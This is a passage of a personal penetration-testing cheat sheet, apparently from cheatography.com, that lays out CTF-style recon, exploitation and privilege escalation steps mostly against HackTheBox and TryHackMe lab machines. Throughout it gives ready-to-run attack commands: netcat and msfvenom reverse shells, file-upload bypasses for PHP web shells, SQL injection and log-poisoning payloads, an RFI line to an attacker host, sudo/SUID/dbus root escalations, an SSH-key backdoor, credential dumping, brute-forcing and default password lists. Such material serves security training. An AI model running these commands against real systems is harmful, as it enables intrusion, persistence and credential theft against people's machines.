

### HTTP Status Codes

Code (Gobuster)	Status
2XX	<ul style="list-style-type: none"><li>⚡ Success</li><li>⚡ This class of status codes indicates the action requested by the client was received, understood and accepted.</li></ul>
3XX	<ul style="list-style-type: none"><li>⚡ Redirection</li><li>⚡ This class of status code indicates the client must take additional action to complete the request.</li></ul>
4XX	<ul style="list-style-type: none"><li>⚡ Client Error</li><li>⚡ This class of status code is intended for situations in which the error seems to have been caused by the client.</li></ul>
5xx	<ul style="list-style-type: none"><li>⚡ Server Error</li></ul>

<https://www.restapitutorial.com/httpstatuscodes.html>

### Cyber Kill Chain

Usage	Syntax
View Source Code	Read it (enumeration/directory) <code>{{fa-bolt}}</code>
Gobuster	Dirb buster
Nmap Scan	-A (aggressive) -p- (all ports)
Steganography	<a href="https://0xrick.github.io/lists/stego/">https://0xrick.github.io/lists/stego/</a>

### Cyber Kill Chain (cont)

Ftp	Penetration testing of ftp port. ⚡ It can be brute forced using hydra. ⚡ ftp <ipaddr> to connect and <get> files.
Think like an hacker	What can i do from here ⚡ Where can i look (any hints given)
Common Username/Password	admin:admin admin:admin123 admin:password root:password root:root and admin:fileserver
Web shell	<ul style="list-style-type: none"><li>⚡ Provides us to enable with remote administration on the target server</li><li>⚡ We can add or modify some data (deface it) as a webadmin. So after we get the web site admin access, our aim is to get web server access.</li></ul>

C

By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 1 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Cyber Kill Chain (cont)

Information Gathering ⚡ Search the website if it has blog post with names that can be used. Try to gather information and think how it can be used  
⚡ Try to think if you require a email what info can be used to fetch a name or format on how email is being used such as using initials@domain\_name

Directory Enumeration ⚡ Dirbuster medium ⚡ Dirb common ⚡ rockyou  
Wordlists

Steghide and Binwalk Binwalk is used on png and Steghide is used on jpg  
A png image can be used to hide binary files like zip whereas jpg image can be used to hide a text file

Identify hash hashid 'hash' and ciphey tool

Terminate hashcat session `rm -rf ~/.hashcat/sessions/hashcat.pid`

Nmap script scans `nmap -sV -A --script vuln <ip>`

JWT CRACK `hashcat -a 0 -m 16500 crack.txt /rockyou`

HTTP running ⚡ dirb ⚡ try HTTPS//<ip> ⚡ robots.txt ⚡ Page source

### Cyber Kill Chain (cont)

Wordpress ⚡ <https://www.hackingarticles.in/wpscanwordpress-pentesting-framework/>  
⚡ [https://blog.wpscan.org/assets/posts/wpscan-posters/WPScan\\_CLI\\_Cheat\\_Sheet.pdf](https://blog.wpscan.org/assets/posts/wpscan-posters/WPScan_CLI_Cheat_Sheet.pdf)

Wordpress - get reverse shell ⚡ Username enumeration ⚡ Brute force Password  
⚡ Login and upload shell to get session  
⚡ To upload PHP shell either upload it as a PLUGIN or Edit Theme, exploitDB - PHP plugin , MSF - PHP/reverse\_tcp and PHP reverse shell can be uploaded  
⚡ <https://www.hackingarticles.in/wordpress-reverse-shell/>



By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 2 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Cyber Kill Chain (cont)

File Upload ⚡ Intercept request > play with it and check response is highly important

Bypass & Pentest Monkey ⚡ Collection of Web-Shells

Shell ⚡ Guides - Hacktricks bypass file upload & Hacker's Grimoire Book

⚡ We can use hacktricks, first try out every single extensions and then try double extensions. Or use Burp Suite to bruteforce

Bypass File Upload ⚡ Download PHP pentest monkey rev shell

⚡ rev shell with GIF89a on top

⚡ Now change extension

⚡ Upload it but wont execute

⚡ Now upload again and intercept

⚡ Intercept through Burp

⚡ Edit the request and change that file to .gif.php

⚡ Done just execute the shell through PATH

⚡ Use nc to capture the connection

### Cyber Kill Chain (cont)

Spot ⚡ Execute this command to replace current user

DBus .ssh private ket to root .ssh private key so we can login in in ssh as root

SUID ⚡ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/authorized\_keys /root/.ssh/authorized\_keys true

⚡ If we get ( ) as reply, it executed system call

DBus ⚡ dbus is message bus system for usb controller

⚡ basically send message of buses from one bus to another

⚡ If current user has SUID on DBUS it means that they have executable rights over that command

C

By [blacklist\\_](https://cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 3 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Cyber Kill Chain (cont)

Bruteforce vs subdomains using FFUF **⚡** ffuf -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://undiscovered.thm/ -H "Host: FUZZ.undiscovered.thm" -fc 302  
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://delivery.htb/ -H "Host: FUZZ.delivery.htb" -fw 486  
**⚡** Wc is to filter with word. To learn more visit FFUF Fuzzing Filtering

Bruteforcing directory along with extensions gobuster dir -u <ip> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 42 -x .bak,.php

### Cyber Kill Chain (cont)

Fuzzing vs Bruteforce **⚡** Brute forcing is an attack method of just trying all passwords, in a password brute force anyway. Fuzzing is a method of sending malformed or abnormal data to a service in an attempt to get it to misbehave in some way, which could lead to the discovery of vulnerabilities from denial of service, buffer overflows or remote code execution etc. FUZZ can be done for subdomains too, and sending payloads to find LFI or RCE etc..

Linux Escalation Techniques -> [http://xiphiasilver.net/2018/04/26/annotation-abusing-sudo-linux-privilege-escalation/#disqus\\_thread](http://xiphiasilver.net/2018/04/26/annotation-abusing-sudo-linux-privilege-escalation/#disqus_thread)

Web enumeration -> <https://berzerk0.github.io/GitPage/CTF-Writeups/Optimum-HTB.html>

### Cyber Kill Chain (Windows)

Usage

Syntax

C

By **blacklist\_**  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 4 of 34.

Sponsored by **CrosswordCheats.com**  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Cyber Kill Chain (Windows) (cont)

Nmap -> Service Enumeration

The services running helps us in identifying our next steps

- ⚡ Kerberos was running on port 88 so we could launch a Kerberos pre authentication attack
- ⚡ If many services are running try enum4linux
- ⚡ Website upload shell and access it

`nmap -sV --script=nfs-showmount <target>`

- ⚡ Nmap script scan and Nmap scan ⚡ 2049 (port no)

NFS (mount the drive to access it)

- ⚡ Network File System permits a user on a client machine to mount the shared files or directories over a network.
- ⚡ `showmount -e <target>`

Mount the content of shared folder -t (type) nfs/iso

`mount -t nfs ip:/drive_name /mnt/folder_name`

- ⚡ There is a possibility to access the root folder by `:/` and then navigate to other folder such as root
- ⚡ There is a way to detach a busy device immediately `#umount -l` and then delete the contents

### Cyber Kill Chain (Windows) (cont)

Google

- ⚡ Appdata/.sdf file extension normally contain where standard database files that store data in a structured file format.

does CMS (umbraco) store credentials

- ⚡ `cat Umbraco.sdf | grep admin`

Hashcat to crack password hash

- ⚡ `hashcat -a 0 -m 100 crack.hash /usr/share/wordlists/rockyou.txt`

Whenever you get interface try to find upload panel

- ⚡ Upload reverse shell then browse the directory to execute it on the remote machine to get a reverse shell

Windows reverse shell payload

- ⚡ `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.89 LPORT=4455 -f exe > blacklist.exe`
- ⚡ Upload it

`C:/inetpub` (cve browse to access payload) 'ls C:/'

- ⚡ Inetpub is the folder on a computer that is the default folder for Microsoft Internet Information Services (IIS). The website content and web apps are stored in the inetpub folder — which keeps it organized and secure.



### Cyber Kill Chain (Windows) (cont)

Access the payload ⚡ `python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'C:/inetpub/wwwroot/media/1034/blacklist.exe'`

Listen for connection ⚡ `use exploit/multi/handler`  
⚡ `set payload payload/windows/x64/shell_reverse_tcp`

Upload Winpeas and access using CVE ⚡ `Privilege Escalation Awesome Scripts`

winPEAS ⚡ Application area we can see Teamviewer and check it using shell  
⚡ Use metasploit to gain access to credentials  
⚡ `s run post/windows/gather/credentials/teamviewer_passwords`

Evil-Winrm : Winrm ⚡ PS Remote shell hacking tool named as "Evil-Winrm". So we can say that it could be used in a post-exploitation hacking/pentesting phase.  
Pentesting Framework ⚡ The purpose of this program is to provide nice and easy-to-use features for hacking.

### Cyber Kill Chain (Windows) (cont)

Evil Winrm `evil-winrm -u Administrator -p '!R3m0te!' -i '10.10.10.180'`

Enum4linux ⚡ Enum4linux is an enumeration tool capable of detecting and extracting data from Windows and Linux operating systems, including those that are Samba (SMB) hosts on a network. Enum4linux is capable of discovering the following: Password policies on a target, The operating system of a remote target, Shares on a device (drives and folders), Domain and group membership, User listings

GetNPUUser (impacket script) ⚡ `getnpusers.py <domain_name>/ -dc-ip <ip>`  
⚡ `getNPUUsers.py - Get users password hashes, Supported in Kerberos protocol, Disable Kerberos pre-auth it becomes vulnerable, username and password are optional, Use this script to identify vulnerable accounts`

C

By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 6 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Cyber Kill Chain (Windows) (cont)

Domain Controller , Active Directory

- ⚡ A Windows Domain allows management of large computer networks
- ⚡ They use a Windows server called a DC (domain controller)
- ⚡ A DC is any server that has Active Directory domain services role
- ⚡ DC respond to authentication requests across the domain
- ⚡ DCs have the tool AD (active directory) and GP (group policy)
- ⚡ AD contains objects and OUs (Organizational Units)
- ⚡ GP contains GPOs (Group Policy objects) that manage settings for AD objects

Kerberos Cheatsheet <https://gist.github.com/TarlogicSecurity/2f221924fe-f8c14a1d8e29f3cb5c5c4a>

SMB (netbios-sn)

SMB ports are open. We need to do the usual tasks: check for anonymous login, list shares and check permissions on shares.

⚡

### Cyber Kill Chain (Windows) (cont)

SMB enumeration `smbclient -L ip and access smbclient //192.168.1.1-08/share_name`

Notes in Kali Windows Priv. Esc.

<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite>

<https://book.hacktricks.xyz/windows/active-directory-methodology>

### Reverse Shell & Exploitation Techniques

Usage	Syntax
Linux privilege cheatsheet	<ul style="list-style-type: none"> <li>⚡ <a href="https://guide.offsecnewbie.com/privilege-escalation/linux-pe#cron-jobs">https://guide.offsecnewbie.com/privilege-escalation/linux-pe#cron-jobs</a></li> <li>⚡ Hack tricks</li> <li>⚡ Hacking articles</li> </ul>

OSCP Cheatsheet <https://liodeus.github.io/2020/09/18/OS-CP-personal-cheatsheet.html>

<https://vulp3cula.gitbook.io/hackers-grimoire/>

Linpeas, Linenum, Linux exploit suggestor	<ul style="list-style-type: none"> <li>⚡ Linpeas - Hacktricks checklist</li> <li>⚡ SUID command - <code>find / -perm -u=s -type f 2&gt;/dev/null</code></li> <li>⚡ Sudo -l</li> <li>⚡ Cron jobs <code>cat /etc/crontab</code></li> </ul>
---	--

Netcat	<code>nc -e /bin/sh &lt;ipadd&gt; &lt;port&gt; (target)</code> <code>nc -lvp &lt;port&gt; (host)</code>
--------	--

C

By [blacklist\\_](https://cheatography.com/blacklist/)  
cheatography.com/blacklist/

Not published yet.  
Last updated 27th February, 2021.  
Page 7 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Reverse Shell & Exploitation Techniques (cont)

msfconsole	Power up metasploit
	⚡ Metasploit Cheatsheet
Cheatsheet	⚡ Github Reverse shell msfconsole
use exploit/<path>	specify exploit to use
show options	set the specific options
show target (set target no)	set the specific target like power shell, PHP, python
connect to rdp service using rdp client	3389:RDP ⚡ start Remmina to access then enter ip address then enter username, domain and password
Windows	
🐞 Linux Privilege Escalation	🐞 🐞 🐞 🐞
⚡ SUID binary	🐞 find / -perm -u=s -type f 2>/dev/null 🐞 If you want to escalate privilege to another user search files that user owns there might be a cronjob that executes his file and we can place reverse shell 🐞 find / -type d -group <user_name> 2>/dev/null/
⚡ CronJobs	🐞 Transfer pspy64 through python server to find cronjobs

### Reverse Shell & Exploitation Techniques (cont)

⚡ Sudo -l	🐞 It show you what exact command you are authorized to use
⚡ Suid binary	🐞 SUID3NUM.py 🐞 Custom binary can be opened by reversing them using Ghidra
Automation Script	
Add machine IP to /etc/hosts	⚡ echo 10.10.194.183 spookysec.local >> /etc/hosts
Cron Jobs (time--based job scheduler)	⚡ Mostly we try to add our reverse shell into the file and CRON jobs executes the files and we get the reverse shell ⚡ We can even try to change etc/hosts if the cron is calling out to that IP we can change it and open a HTTP server on our machine and let him execute the script with our own reverse shell
Exploiting sudo -l	⚡ commands - /var/www/gdb as www-data ⚡ escalate privilege to a user thirtytwo then ⚡ use GTFO ⚡ sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit



By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 8 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>



### Reverse Shell & Exploitation Techniques (cont)

Exploiting sudo -l (d4rckh) No paaswd: /usr/bin/git  
⚡ We have a user who can exec commands on that path  
⚡ execute command to escalate  
⚡ sudo -u d4rckh /usr/bin/git -p help config  
⚡ !/bin/sh

Escalate privilege via cronjob of a python script  
⚡ <https://blog.razrsec.uk/tryhackme-tartarus/>

Exploiting SUID  
⚡ Find command which have SUID bit set which means we can run find as root user. Using -exec flag as shown above. Let's try out by changing the permission of root directory.  
⚡ \$ find . -exec chmod 777 /root \;

### Reverse Shell & Exploitation Techniques (cont)

Su VS Sudo  
⚡ Su is Permanent privilege escalation (su): It can be used to switch user accounts in the command line mode.  
⚡ Sudo is Temporary privilege escalation (sudo): Switch the current user to the super user, then execute the command as the super user, and return to the current user directly after the execution is completed.  
Sudo-Su-Working

Privilege escalation  
⚡ Privilege escalation using capabilities  
⚡ IPrivilege escalation using Python Library hijack 2 ways

Upload tools and stuff - <https://prune2000.github.io/post/upload-tools/>  
<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

### Windows cmd commands

Discover users  
⚡ net user

Read text file  
⚡ type root.txt

list directory content  
⚡ dir

Change directory  
⚡ cd

Read file permission and owner  
⚡ Right click > Properties > Details > Owner ⚡ Goto security tab > edit permission > Add > enter the name of user you want to give permission



### Windows cmd commands (cont)

Upgrade Command Shell to Meterpreter	sessions -u <no> or use use post/multi/manage/shell_to_meterpreter
Metasploit get hashes of users	hashdump

### Linux Directory Structure

Directory Name	Usage
When basic priv esc doesnt work search these directories for Juice	⚡ /opt & /var -> www & log & backups. Make sure you review Linpeas properly such as Readable files belonging to root and readable by me but not world readable
/opt	/opt is a directory for installing unbundled packages (i.e. packages not part of the Operating System distribution, but provided by an independent source), each one in its own subdirectory. Sometimes, we can find config files over here, having credentials. Thus its a Installed software locations, other dir. are /usr/local.
/var	/var contains things that are prone to change, such as websites, temporary files, config and databases.

### Linux Directory Structure (cont)

/bin (system commands)	/bin contains executables which are required by the system for emergency repairs, booting, and single user mode. /usr/bin contains any binaries that aren't required.
/usr/bin (executable commands)	This is the primary directory of executable commands on the system.
/etc	lookout for logs, backups, config files

### OWASP TOP 10 and others

🚫 Vulnerability - along with its mitigation	🔍 Hunt down
🔗 SQL injection	⚡ test' or 1=1; -- ⚡ ' is used to close the query, ; is used to terminate, -- is used to comment out rest ⚡ For example ' --, creating a new account blacklist' -- then can alter the query

C

By [blacklist\\_](https://cheatography.com/blacklist/)  
cheatography.com/blacklist/

Not published yet.  
Last updated 27th February, 2021.  
Page 10 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### OWASP TOP 10 and others (cont)

- ➔ **SQL** ⚡ What happens is there is a query like  
Second-order-SQL ⚡ UPDATE users set password="new pass" where  
username="blacklist ' --" and password="this is for  
current password"  
⚡ Now when we use this query after -- becomes just a  
comment which have no use now and it will directly  
changed the pass of old user
- ➔ **SQL Mitigation** ⚡ Parameterized Statements: Don't put the input  
variable directly into SQL statement, parse it separately  
⚡ Vulnerable : "Select \* From users WHERE email =  
"" + email + "";  
⚡ Sanitizing inputs

➔ SSRF

➔ LFI / RFI

➔ S3 bucket

➔ IDOR

### Enumeration Checklist

Usage	Syntax
-------	--------

### Enumeration Checklist (cont)

- |                      |   |
|----------------------|---|
| Attention to detail  | Is something wrong like text at the end<br>Everything makes sense like password<br>Lookout for possible usernames, directory, information<br>Focus should also be on understanding application you<br>are enumerating and its working and what is going on<br>Connect the Dots like telnet might be running an .exe<br>which is vulnerable to BoF   |
| Starting Enumeration | ⚡ ifconfig ⚡ Host discovery : nmap -sn <ip>/24<br>⚡ Explore each service running and grab banners using<br>netcat : nc -nv <ip> <port><br>⚡ Finding if the service has any version based vulner-<br>ability or not via google and searchsploit<br>⚡ What do we have and what can be done ? like we<br>might have a directory already which can be further /-<br>FUZZ-<br>⚡ Pentest <service> hacktricks / hackingarticles |









C








By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 11 of 34.







Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>








### Enumeration Checklist (cont)

HTTP /  https  robots.txt /\*  source code review   
HTTPS directory enum  vulnerability like LFI , SQL. Every  
80 & vulnerability has its indicators  extension check   
443 Double /-FUZZ- on paths and parameter   
Play with Burp, request to understand application flow &&  
Play with headers, x-forwarded-for can be used to  
bypass rate limit or IP ban

More  is it a CMS  Nikto for web vulnerability scanning   
Port 80 / Discover if website /index.php or /index.html  Id in URL  
HTTPS - FUZZING can lead to dir. traversal or LFI  If given  
checklist domain name try bruteforce subdomains / vhosts   
Wildguess : If there are 2 http ports open, one service  
might impact other, or leak information.  
 Login Form : Hunt for username, brute-force, SQL  
injection bypass on both User & Pass Parameter = admin'  
OR '1'='1';--+

### Enumeration Checklist (cont)

FTP  Anonymous login  brute force  CVE cd...  dir use  
it returns a full directory listing whereas the ls -al returns  
hidden and simplified directory listing.  Google Version for  
exploits or vulnerability  
PUT command files on the server and http server to trigger  
 After login, which directory you are currently in , are the  
files owned by root? Try cd ..

CMS  Hunt for admin panel  Login Panel - Default creds for  
that service & small brute-force for common creds test   
Aim for Usernames and Password  Always read source,  
https , robots and dirb  
 Always study that CMS like upload path and other  
important directory names  
 FUZZ for subdomains via ffuf  Hunt CMS Version &  
Search for Exploit / Vulnerability for that version



By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 12 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Enumeration Checklist (cont)

Directory Enumeration ⚡ `gobuster dir -u http://10.10.97.63/ -w /usr/share/wordlists/raft-large-directories-lowercase.txt -t 40 -x php,bak,txt`  
 ⚡ Always use raft and 2.3 medium wordlist for bruteforce. Remember to specify extension check.  
 ⚡ `/example/{{fuzz}}` : Remember to FUZZ double/directory too.

Service Enumeration ⚡ Enumerate the service  
 ⚡ Find login page like directory path for that service  
 ⚡ like where is the login page located  
 ⚡ Checkout Youtube and others for exploiting that service

Enumeration tip ⚡ after getting shell as www - data always check `/var/www` and save current user private key `/home/paul/.ssh/id_rsa` and we might be able to login as another user directly

### Enumeration Checklist (cont)

HTTP Directory Enumeration ⚡ 3 Wordlists - `common.txt`, `dirbuster/directory-list-2.3-medium.txt`, `seclists/raft-large-directories-lowercase.txt`  
 ⚡ `dirsearch -u 10.0.2.19 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e * -t 50`

Database Penetration Testing (SqlMap) ⚡ Always lookout for an id in the URL, vulnerable to SQL. which might be using a database  
 ⚡ `sqlmap -u "http://10.0.2.6:8080/mercuryfacts/1" --dbs --batch`  
 ⚡ Guide-sqlmap  
 Enumerate login forms, id value, parameters for SQL vulnerability via burp request or sqlmap

Upgrading a Simple Shells to Fully Interactive (TTY) `python -c 'import pty; pty.spawn("/bin/sh")'`

Enumeration Scripts LinEnum, Linpeas, LES , pspy64 or pspy32

Linux exploit suggestor

Netstat on the victim machine ⚡ To view incoming and outgoing connection and might find a port not coming up in scan  
 ⚡ `netstat -tulpn`



By [blacklist\\_](https://blacklist_.cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://blacklist_.cheatography.com/blacklist/)

Not published yet.  
 Last updated 27th February, 2021.  
 Page 13 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
 Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Enumeration Checklist (cont)

Sqlmap to perform enumeration (Banner Grabbing)      Capture burp request and test it on Login forms  
Command: sqlmap -r .txt file\_name --dbs

SQL - important files (hacks), cleartext .mysql\_history in /home dir      The output comes up with the list of databases in the remote server.  
<https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>

Cipher Identifier and Analyzer      <https://www.boxentriq.com/code-breaking/cipher-identifier>

Password Hash Cracker      <https://crackstation.net/>

Vigenere cipher (Long text vulnerable)      <https://www.guballa.de/vigenere-solver>

All in one Decoder      <https://gchq.github.io/CyberChef/>

Cipher and Hash identification      ⚡ <https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html>  
⚡ ASCII RANGE 60-120,ABC  
⚡ HEX 41 42  
⚡ Decimal and Binary  
⚡ Base64 number and upper and lower case  
⚡ MD5 lower case numbers and 32 in length

Find files with common extension      `find / -name *.txt 2>/dev/null`

### Enumeration Checklist (cont)

Hashcat      ⚡ The crypt formats all have a prefix  
⚡ \$1\$ is md5crypt, \$2\$ is bcrypt, \$5\$ is sha256crypt, \$6\$ is sha512crypt  
⚡ Ciphey tool and hashcat wiki

Etc/Shadow File      ⚡ Understanding the /etc/shadow File  
⚡ <https://linuxize.com/post/etc-shadow-file/>

THM      ⚡ link text  
Crypto-ography      ⚡ PGP stands for Pretty Good Privacy. It's a software that implements encryption for encrypting files, performing digital signing and more. and  
Room - RSA tool      Similarly we have GPG open source and you can decrypt a file using gpg

Another tip for service enum      ⚡ Most of privilege escalation to users after www-data is through hash or some given pass, enumerate files of that service like where is the database files stored inside this service or where is the users info stored in that service



By **blacklist\_**  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 14 of 34.

Sponsored by **CrosswordCheats.com**  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Enumeration Checklist (cont)

Copy all files into a single file	⚡ <code>cat * &gt; blacklist.txt</code>
LFI / RFI Final Cheat sheet, Detailed Attack Vectors	⚡ Cheatsheet ⚡ File Inclusion Attacks
File Inclusion / Directory traversal Payload all the Things	⚡ File Inclusion Hacktricks

### Enumeration Checklist (cont)

<b>File Inclusions Attacks</b> To expand, in an RFI attack, a hacker employs a script to include a remotely hosted file on the webserver. In an LFI attack, a hacker uses local files to execute a malicious script. For LFI, it is possible for a hacker to only use a web browser to carry out the attack.	<b>⚡</b> On the other hand, Local File Inclusion (LFI) is very much similar to RFI. The only difference being that in LFI, in order to carry out the attack instead of including remote files, the attacker has to use local files i.e files on the current server can only be used to execute a malicious script. Since this form of vulnerability can be exploited with only using a web browser, LFI can easily lead to remote code execution by including a file containing attacker-controlled data such as the web server's access logs. like log poisoning  <b>⚡</b> Remote File Inclusion (RFI) is a method that allows an attacker to employ a script to include a remotely hosted file on the webserver. The vulnerability promoting RFI is largely found on websites running on PHP. This is because PHP supports the ability to 'include' or 'require' additional files within a script. The use of unvalidated user-supplied input within these scripts generally leads to the exploitation of this vulnerability.
---	---



By **blacklist\_**  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 15 of 34.

Sponsored by **CrosswordCheats.com**  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Enumeration Checklist (cont)

LFI local file inclusion ⚡ If you find paramter /index.php?plot= file ⚡ Try Fuzzing manually or Burp. LFI (local file inclusion) is a vulnerability which an attacker can exploit to include/read files.  
⚡ Therefore, whenever you see a PHP website try FUZZING as these are sometimes vulnerable to LFI or RFI + Use Directory Traversal

---

### Enumeration Checklist (cont)

LFI vulnerability ⚡ Log Poisoning is a common technique used to gain a reverse shell from a LFI vulnerability. To make it work an attacker attempts to inject malicious input to the server log.  
⚡ add the "?page=" parameter and let's try reading the apache log file. The log file is located at the following path: /var/log/apache2/access.log  
⚡ Fire up Burpsuite and intercept the request and insert the following malicious code in the user agent field (The PHP command will allow us to execute system commands by parsing the input to a GET parameter called lfi)  
⚡ The link becomes: `http://<IP>/lfi/lfi.php?page=/var/log/apache2/access.log&lfi=` Now you can execute commands on the system!

C

By [blacklist\\_](#)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 16 of 34.

Sponsored by [CrosswordCheats.com](#)  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>



### Enumeration Checklist (cont)

Log poisoning attack vector through LFI is possible using Directory traversal and other ways like SMTP

- ⚡ Forward the request and add your parameter to the link (in my case lfi).
- ⚡ User-Agent: Mozilla/5.0 <?php system-(\$\_GET['lfi']); ?> Firefox/68.0
- ⚡ lfi.php?page=/var/log/apache2/access.log&lfi=cd /home;cd lfi;/cat flag.txt;ls -lap;uname -r;ls -la

RFI/LFI (by specifying path we can even read user and root flag if server is running with root permissions)

- ⚡ Lookout for parameters and To put it another way. The page we're looking at is actually empty; however, it's including content from another page
- ⚡ Local File Inclusions are when that input isn't properly sanitised, allowing us to manipulate the link to open other files. or incase of RFI we can supply an external URL and gain Shell

### Enumeration Checklist (cont)

RFI

- ⚡ `http://example.com/?file=http://attacker.example.com/evil.php`
- ⚡ In this example, the malicious file is included and run with the privileges of the user who runs the web application. That allows an attacker to run any code they want on the web server. They can even gain a persistent presence on the web server.

Exploit SUID & Backdoor

- ⚡ PATH of SUID binary and GTFO command together to gain root access
- ⚡ `ssh-keygen .ssh/auth-keys` Leaving an SSH key in `authorized_keys` on a box can be a useful backdoor

Hash-id & Crack Hash online otherwise use hashcat or JTR

- ⚡ MD5 Hashing
- ⚡ Crack-Station



By **blacklist\_**  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
Last updated 27th February, 2021.  
Page 17 of 34.

Sponsored by **CrosswordCheats.com**  
Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

### Enumeration Checklist (cont)

Hydra crack login page ⚡ Provide full path like /index.php mostly otherwise it wont work  
 ⚡ When providing path test /index.php to identify PHP is running  
 ⚡ hydra 10.10.10.227 -l admin -P /usr/share/wordlists/rockyou.txt http-post-form '/admin/index.php:user=admin&pass=<sup>PASS</sup>:Username or password invalid' -f

Sudo gives you permission to execute Scripts ⚡ Remove that script and replace with a shell

Brute force after you get usernames or password list hint ⚡ hydra, if you get usernames

Port Knocking : If you see numbers as hint might be port knocking ⚡ Knock on the ports mentioned to open hidden ports  
 ⚡ for x in 1 3 5; do nmap -Pn --max-retries 0 -p \$x 10.10.63.86; done  
 ⚡ nmap -r -p1,3,5 10.10.17.17

SQL & XSS Indicators ⚡ For XSS, target Text boxes and URL, XSS might also get triggered on another page, For SQL test URL like Id or login pages.

### Enumeration Checklist (cont)

SMTP ⚡ Runs on Port 25, Nmap has scripts like --script smtp-commands && google search with hacktricks and hackingarticles for possible enumeration techniques  
 ⚡ Understand the difference

139 & 445 SMB , for more refer hacktricks ⚡ Check null session, Shares list , Enum4linux  
 ⚡ enum4linux -a 10.0.2.19  
 Smbclient -L <ip> to list shares && -N to force without password && smbclient //<ip>/<share-name>

Enumeration and Understanding of the scenario are very important aspects.

Think if you need something like credentials is there any way to access them from current options available.

### CREDENTIALS

### Linux Commands

Command Name	Syntax
--------------	--------

Vim Text Editor	⚡ i for insert ⚡ esc to exit insert ⚡ :wq to quit and save :%d delete all lines
-----------------	--

Hashcat (crack password hash)	⚡ hashcat -a 0 -m 500 hash /root/Downloads/rockyou.txt
-------------------------------	--



By [blacklist\\_](https://cheatography.com/blacklist/)  
[cheatography.com/blacklist/](https://cheatography.com/blacklist/)

Not published yet.  
 Last updated 27th February, 2021.  
 Page 18 of 34.

Sponsored by [CrosswordCheats.com](https://crosswordcheats.com)  
 Learn to solve cryptic crosswords!  
<http://crosswordcheats.com>

Linux Commands (cont)		Linux Commands (cont)	
Transfer		Burp Suite (check acceptable file ext)	By sending request to Intruder and then spider attack ⚡ Check response length to verify if the extension is acceptable or not Python script by importing request library can also be used
Files via	⚡ On Victim : nc -nv 10.0.2.5 5555 < access.exe	Word count (count the no of lines in a file)	wc -l yourTextFile
Nc &	⚡ On Attacker : nc -nlvp 5555 > access.exe	Whatweb	whatweb <ip> The WhatWeb tool is used to identify different web technologies used by the website.
Base64	⚡ base64 <filename>	Fim (view images from terminal)	fim <image_name>
(move files)	⚡ Save the encoding in a file ⚡ base64 -d <filename_base64_encoding>	Curl (change user agent (browser type render content) and follow redirection)	curl -A "J" -L "http://10.10.231.116"
Scp	⚡ Want to receive files from target ⚡ scp username@remote:/file/to/send /where/to/put copy files)	Python server to transfer files from remote to local	python3 -m http.server <port_no> and access using the ip of remote machine:port no
